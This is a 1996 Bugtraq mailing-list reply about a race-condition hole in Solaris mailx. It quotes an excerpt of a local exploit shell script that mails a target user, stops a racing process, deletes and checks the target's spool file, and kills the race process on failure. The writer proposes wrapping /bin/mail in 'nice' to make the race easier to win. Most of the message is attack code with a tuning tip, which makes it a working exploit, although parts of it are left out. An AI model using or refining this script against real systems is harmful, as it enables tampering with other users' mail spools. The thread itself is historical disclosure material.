[2882] in bugtraq
Re: Solaris mailx hole
daemon@ATHENA.MIT.EDU (Rick Otten)
Wed Jul 3 13:14:02 1996
Date: Wed, 3 Jul 1996 08:09:18 -0500
Reply-To: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: Rick Otten <rotten@bbnplanet.com>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@NETSPACE.ORG>
Seems to me that you could further increase the probability of winning this race
by running mail a little slower ("nice" it)...
...
># Send mail to the user
>NEW_TARGET_LEN=$OLD_TARGET_LEN
>while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do
> echo "Sending mail to $TARGET"
> echo "localhost $USER" | /bin/mail $TARGET
echo "localhost $USER" | nice /bin/mail $TARGET
> sleep 10
> kill -STOP $RACE_PID
> rm -f $SPOOLDIR/$TARGET >/dev/null 2>&1
> if [ -f $SPOOLDIR/$TARGET ]; then
> echo "$PROG: Sorry, we lost the race - cant try again."
> kill -9 $RACE_PID
...
Rick Otten
rotten@bbnplanet.com
x4156
20/784A
